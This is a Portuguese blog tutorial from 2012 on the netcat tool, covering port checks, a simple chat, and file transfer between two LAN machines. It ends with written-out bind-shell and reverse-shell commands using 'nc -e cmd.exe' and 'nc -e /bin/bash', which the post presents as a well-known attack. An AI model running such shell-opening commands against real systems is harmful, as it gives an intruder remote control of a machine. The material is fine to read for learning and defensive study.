Ads 468x60px

27 de fevereiro de 2012

Usando o NetCat


Vamos falar do NetCat,  uma ferramenta de rede, disponível para sistemas operacionais Unix, Linux, Microsoft Windows e Macintosh que permite, através de comandos e com sintaxe muito sensível, abrir portas TCP/UDP e HOST. Permite forçar conexões UDP/TCP (útil para realizar rastreamento de portas ou realizar transferências de arquivos bit a bit entre os equipamentos).
Caso você fique com alguma dúvida, ou tenha alguma informação sobre o tema abordado, por gentileza, poste ela aqui.
netcat foi considerado como "o canivete suíço dos hackers", pela sua versatilidade de enviar e receber pacotes TCP/UDP, e também, por funcionar como cliente e servidor simultaneamente.
netcat pode ser bem útil em algumas situações, tais como:
ü  Verificar se uma porta está aberta ou fechada
ü  Ler um banner de entrada de protocolo
ü  Conectar-se a um serviço de rede manualmente


Veja a seguir, um exemplo de conexão via o netcat:
nc -vv cvs.secmaniac.com 22
-vv : modo verbose.
Onde:
 22: indica a porta de conexão onde estamos conectando via SSH.
Para sair da conexão podemos utilizar a tecla crtl + c, enviando o sinal sigterm ao serviço em execução.
O netcat também pode ser usado para realizar bate-papos entre máquinas em rede. Para isso podemos utilizar o comando abaixo:
nc -lvvp 41
Onde:
-l  : a maquina fica em modo listen na porta indicada
-vv : modo verbose
-p : o numero da porta local para ser escutada

E em outro computador utilizando o comando abaixo para entrar no chat:
nc -vv 192.168.30.45 41

Com o netcat também podemos transferir arquivos de um computador para outro, da seguinte forma:
Computador 1: nele configuramos o netcat para escutar e aceitar a  chamadas e redirecionar qualquer entrada em um arquivo.
nc -lvvp 41 > aquivo_saida.txt
Computador 2: vamos colocar o netcat escutando no computador 1 e em seguida enviar o arquivo:
echo "teste netcat" > teste.txt
nc -vv 192.168.30.45 41 < teste.txt
Infelizmente o netcat não mostra nenhum progresso da transferência do arquivo para o servidor, então o jeito é esperar um tempo e depois apertar o ctrl+c  para verificar se o arquivo está no computador 1, executando o comando abaixo ou abrindo ele.
cat aquivo_saida.txt
Podemos utilizar o netcat para executar um comando especifico em qualquer máquina, da seguinte forma:
Máquina 1 fica de escuta para executar um comando:
nc -lvvp 41 -e cmd.exe
Onde:
-e : para executar um comando ou programa.
A máquina 2 faz a requisição ao servidor:
nc -v 192.168.30.45 41

É devolvido o prompt de comando para a máquina 1 mas ele não consegue enxergar a saída do comando somente executa-lo.
Um ataque bastante conhecido é o shell reverso que se baseia na didática acima mas a pessoa possui a tela de saída do comando o que é mais legal ^^.
Máquina 1 fica de escuta:
nc -lvvp 41
Máquina 2 se conecta e faz a chamada do shell na máquina 1:
nc -v 192.168.30.46 41 -e /bin/bash
Na máquina 1 é devolvido o shell mas podendo ser executado na máquina 2.

0 comentários:

Postar um comentário